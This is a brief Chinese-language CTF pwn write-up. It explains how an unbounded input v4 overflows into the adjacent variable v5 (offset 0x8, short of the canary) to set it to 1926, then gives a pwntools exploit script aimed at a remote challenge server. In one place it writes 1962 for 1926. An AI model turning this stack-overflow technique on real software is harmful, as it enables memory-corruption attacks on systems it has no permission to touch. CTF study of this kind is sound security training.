checksec一下
试运行一下,有两个输入
放入64位IDA
我们输入v5时又不能输入1926,但是下面判断时又要求我们v5为1962,因为v4输入数量不限,所以我们可以利用v4覆盖v5为1926即可
分别点击v4和v5,看到两个地址,v4和v5相差0x20-0x18=0x8。虽然开了Canary,但是v4并不需要覆盖20h那么多,所以并没改变Canary的值
写脚本
#coding=utf8
from pwn import *
context.log_level = 'debug'
p = remote('111.198.29.45',39014)
p.sendline('2000')
p.recvuntil("What's Your Name?")
payload = ''
payload += 0x8*'A'
payload += p64(1926)
p.sendline(payload)
p.interactive()